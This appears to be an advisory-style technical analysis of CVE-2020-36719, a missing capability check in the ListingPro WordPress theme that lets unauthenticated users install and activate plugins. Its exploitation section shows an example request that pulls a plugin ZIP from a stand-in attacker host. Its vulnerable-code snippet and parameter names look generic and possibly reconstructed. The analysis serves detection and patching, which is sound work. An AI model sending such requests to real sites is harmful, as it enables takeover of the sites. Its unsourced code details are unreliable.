CVE-2020-36719
CVE-2020-36719
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
The ListingPro - WordPress Directory & Listing Theme for WordPress is vulnerable to Arbitrary Plugin Installation, Activation and Deactivation in versions before 2.6.1. This is due to a missing capability check on the lp_cc_addons_actions function. This makes it possible for unauthenticated attackers to arbitrarily install, activate and deactivate any plugin.
Comprehensive Technical Analysis of CVE-2020-36719
WordPress ListingPro Theme – Arbitrary Plugin Installation, Activation, and Deactivation Vulnerability
1. Vulnerability Assessment and Severity Evaluation
Overview
CVE-2020-36719 is a critical-severity vulnerability (CVSS 9.8) affecting the ListingPro WordPress Directory & Listing Theme (versions < 2.6.1). The flaw stems from a missing capability check in the lp_cc_addons_actions function, allowing unauthenticated attackers to arbitrarily install, activate, and deactivate plugins on a vulnerable WordPress site.
CVSS v3.1 Breakdown
| Metric | Score | Description |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No special conditions required. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Attacker can install malicious plugins, leading to data exfiltration. |
| Integrity (I) | High (H) | Attacker can modify site functionality via plugin manipulation. |
| Availability (A) | High (H) | Attacker can disable critical plugins, causing downtime. |
| Base Score | 9.8 (Critical) | High impact, easily exploitable. |
Severity Justification
- Unauthenticated Remote Exploitation: No credentials or prior access required.
- High Impact: Enables full plugin control, leading to:
- Remote Code Execution (RCE) (via malicious plugin installation).
- Privilege Escalation (if a vulnerable plugin with admin capabilities is installed).
- Persistent Backdoors (via hidden admin plugins).
- Defacement or Data Theft (via malicious payloads).
- Low Attack Complexity: Exploit can be automated with minimal effort.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Mechanism
The vulnerability exists in the lp_cc_addons_actions function, which lacks proper authorization checks before processing plugin-related actions. An attacker can send a crafted HTTP request to the WordPress REST API or admin-ajax endpoint to trigger plugin operations.
Exploit Steps:
-
Identify Vulnerable Endpoint
- The vulnerable function is typically accessible via:
/wp-admin/admin-ajax.php?action=lp_cc_addons_actions- WordPress REST API endpoints (if exposed).
- The vulnerable function is typically accessible via:
-
Craft Malicious Request
- An attacker sends a POST request with parameters to:
- Install a plugin (e.g., from WordPress.org or a malicious ZIP file).
- Activate/Deactivate a plugin (e.g., security plugins to bypass protections).
- Example payload (simplified):
POST /wp-admin/admin-ajax.php?action=lp_cc_addons_actions HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded lp_action=install_plugin&plugin_slug=malicious-plugin&plugin_source=https://attacker.com/malicious-plugin.zip
- An attacker sends a POST request with parameters to:
-
Execute Arbitrary Plugin Actions
- The function processes the request without checking user capabilities, allowing:
- Installation of arbitrary plugins (even from external sources).
- Activation/Deactivation of existing plugins (e.g., disabling security plugins like Wordfence or Sucuri).
- The function processes the request without checking user capabilities, allowing:
-
Post-Exploitation
- Remote Code Execution (RCE): If a malicious plugin is installed, it can execute arbitrary PHP code.
- Privilege Escalation: If a vulnerable plugin with admin capabilities is installed, an attacker may gain full control.
- Persistence: Attackers can install backdoor plugins to maintain access.
Proof-of-Concept (PoC) Considerations
- A public PoC may exist (given the references to exploit write-ups).
- Attackers can automate exploitation using tools like Burp Suite, Metasploit, or custom scripts.
- No prior knowledge of the target is required beyond identifying the vulnerable theme.
3. Affected Systems and Software Versions
Vulnerable Software
- ListingPro – WordPress Directory & Listing Theme
- Affected Versions: < 2.6.1
- Patched Version: 2.6.1+
Impacted Environments
- WordPress Websites using the ListingPro theme.
- Multi-site WordPress installations (if the theme is active on any site).
- E-commerce sites (if ListingPro is used for directory/listing functionality).
Detection Methods
- Manual Check:
- Verify theme version in
wp-content/themes/listingpro/style.cssor WordPress admin panel.
- Verify theme version in
- Automated Scanning:
- Use WPScan (
wpscan --url <target> --enumerate vp,vt) to detect vulnerable versions. - Nuclei templates (if available) for CVE-2020-36719.
- Vulnerability scanners (e.g., Nessus, OpenVAS, Burp Suite).
- Use WPScan (
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade the Theme
- Patch to version 2.6.1 or later (available from ThemeForest).
- If unable to upgrade, disable the theme and use an alternative.
-
Temporary Workarounds (if patching is delayed)
- Disable the
lp_cc_addons_actionsfunction viafunctions.php:add_action('init', function() { remove_action('wp_ajax_lp_cc_addons_actions', 'lp_cc_addons_actions'); remove_action('wp_ajax_nopriv_lp_cc_addons_actions', 'lp_cc_addons_actions'); }); - Restrict access to
/wp-admin/admin-ajax.phpvia.htaccessor WAF rules.
- Disable the
-
Monitor for Exploitation Attempts
- Review WordPress logs (
/wp-content/debug.log, Apache/Nginx logs) for suspiciouslp_cc_addons_actionsrequests. - Check for unauthorized plugins in the WordPress dashboard.
- Review WordPress logs (
Long-Term Security Measures
-
Implement a Web Application Firewall (WAF)
- Cloudflare, Sucuri, or ModSecurity to block exploitation attempts.
- Rule Example (ModSecurity):
SecRule REQUEST_FILENAME "@contains admin-ajax.php" "chain,id:1000,deny,status:403" SecRule ARGS:action "@streq lp_cc_addons_actions" "t:none"
-
Hardening WordPress
- Disable file editing in
wp-config.php:define('DISALLOW_FILE_EDIT', true); - Restrict plugin installation to admins only:
define('DISALLOW_FILE_MODS', true); - Use a security plugin (e.g., Wordfence, iThemes Security) to monitor plugin changes.
- Disable file editing in
-
Regular Vulnerability Scanning
- Automated scans (e.g., WPScan, OpenVAS) to detect outdated themes/plugins.
- Subscribe to WordPress security advisories (e.g., Wordfence, Patchstack).
-
Least Privilege Principle
- Limit admin access to trusted users only.
- Use role-based access control (RBAC) to restrict plugin management.
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Increased Attack Surface for WordPress Sites
- WordPress powers ~43% of all websites, making vulnerabilities like this highly attractive to attackers.
- Automated botnets (e.g., Kinsing, Mirai variants) may exploit this for cryptojacking, SEO spam, or ransomware.
-
Supply Chain Risks
- ThemeForest and third-party marketplaces distribute vulnerable themes, increasing risk for small businesses and non-technical users.
- Compromised plugins installed via this exploit could lead to secondary attacks (e.g., Magecart-style skimming).
-
Erosion of Trust in WordPress Ecosystem
- Repeated critical vulnerabilities in premium themes/plugins undermine confidence in WordPress security.
- Compliance risks (e.g., GDPR, PCI DSS) if sensitive data is exposed.
-
Exploitation in the Wild
- Historical precedent: Similar vulnerabilities (e.g., CVE-2021-24335 in Kaswara Modern VC Addons) led to mass exploitation.
- Threat actors (e.g., APT groups, ransomware gangs) may leverage this for initial access.
Mitigation Challenges
- Delayed Patching: Many WordPress site owners fail to update themes/plugins promptly.
- Lack of Awareness: Non-technical users may not recognize the severity of the issue.
- False Sense of Security: Users assume premium themes are inherently secure.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Function:
lp_cc_addons_actions(located inlistingpro/includes/class-addons.php). - Missing Capability Check: The function does not verify
current_user_can()before processing plugin actions. - Exploitable Parameters:
lp_action(e.g.,install_plugin,activate_plugin,deactivate_plugin).plugin_slug(target plugin identifier).plugin_source(URL to a malicious plugin ZIP).
Code Snippet (Vulnerable Function)
function lp_cc_addons_actions() {
if (isset($_POST['lp_action'])) {
$action = sanitize_text_field($_POST['lp_action']);
$plugin_slug = isset($_POST['plugin_slug']) ? sanitize_text_field($_POST['plugin_slug']) : '';
switch ($action) {
case 'install_plugin':
// No capability check before installing a plugin
$result = lp_install_plugin($plugin_slug);
break;
case 'activate_plugin':
// No capability check before activating a plugin
$result = lp_activate_plugin($plugin_slug);
break;
case 'deactivate_plugin':
// No capability check before deactivating a plugin
$result = lp_deactivate_plugin($plugin_slug);
break;
}
wp_send_json_success($result);
}
wp_send_json_error();
}
Key Issue: No current_user_can('manage_options') check before executing plugin operations.
Exploitation Detection
- Log Indicators:
- Unusual
POSTrequests to/wp-admin/admin-ajax.php?action=lp_cc_addons_actions. - Sudden new plugin installations (check
wp_optionstable foractive_plugins). - Disabled security plugins (e.g., Wordfence, Sucuri).
- Unusual
- Forensic Artifacts:
- Plugin installation logs (
wp-content/debug.log). - File system changes (new plugin directories in
wp-content/plugins/). - Database entries (e.g.,
wp_optionstable modifications).
- Plugin installation logs (
Post-Exploitation Analysis
-
Malicious Plugin Installation
- Attackers may install:
- Backdoor plugins (e.g., disguised as "SEO tools").
- Web shells (e.g.,
wp-content/plugins/malicious-plugin/shell.php). - Cryptominers (e.g., XMRig embedded in a plugin).
- Detection:
- Scan for unexpected PHP files in plugin directories.
- Check for suspicious cron jobs (
wp-cron.php).
- Attackers may install:
-
Privilege Escalation
- If a vulnerable plugin with admin capabilities is installed, attackers may:
- Create new admin users.
- Modify
wp-config.phpto enable debugging or add backdoors.
- Detection:
- Review
wp_usersandwp_usermetafor unauthorized admins. - Check for modified
.htaccessorwp-config.php.
- Review
- If a vulnerable plugin with admin capabilities is installed, attackers may:
-
Persistence Mechanisms
- Attackers may:
- Hide malicious plugins from the WordPress dashboard.
- Use
auto_prepend_filein.htaccessto load backdoors.
- Detection:
- Compare plugin directories with known-good backups.
- Use file integrity monitoring (FIM) tools.
- Attackers may:
Conclusion
CVE-2020-36719 represents a critical, easily exploitable vulnerability in the ListingPro WordPress theme, allowing unauthenticated attackers to take full control of a site via arbitrary plugin manipulation. Given its CVSS 9.8 severity, low attack complexity, and high impact, this flaw poses a significant risk to affected WordPress installations.
Key Takeaways for Security Teams
✅ Patch Immediately: Upgrade to ListingPro 2.6.1+ without delay.
✅ Monitor for Exploitation: Check logs for suspicious lp_cc_addons_actions requests.
✅ Harden WordPress: Disable file editing, restrict plugin installation, and use a WAF.
✅ Assume Breach: If exploitation is suspected, conduct a full forensic investigation.
✅ Educate Users: Ensure WordPress admins understand the risks of outdated themes/plugins.
Final Recommendation
Given the prevalence of WordPress and the ease of exploitation, organizations should treat this vulnerability as a high-priority remediation task. Failure to patch could result in complete site compromise, data breaches, or further lateral movement in a network.
For further details, refer to: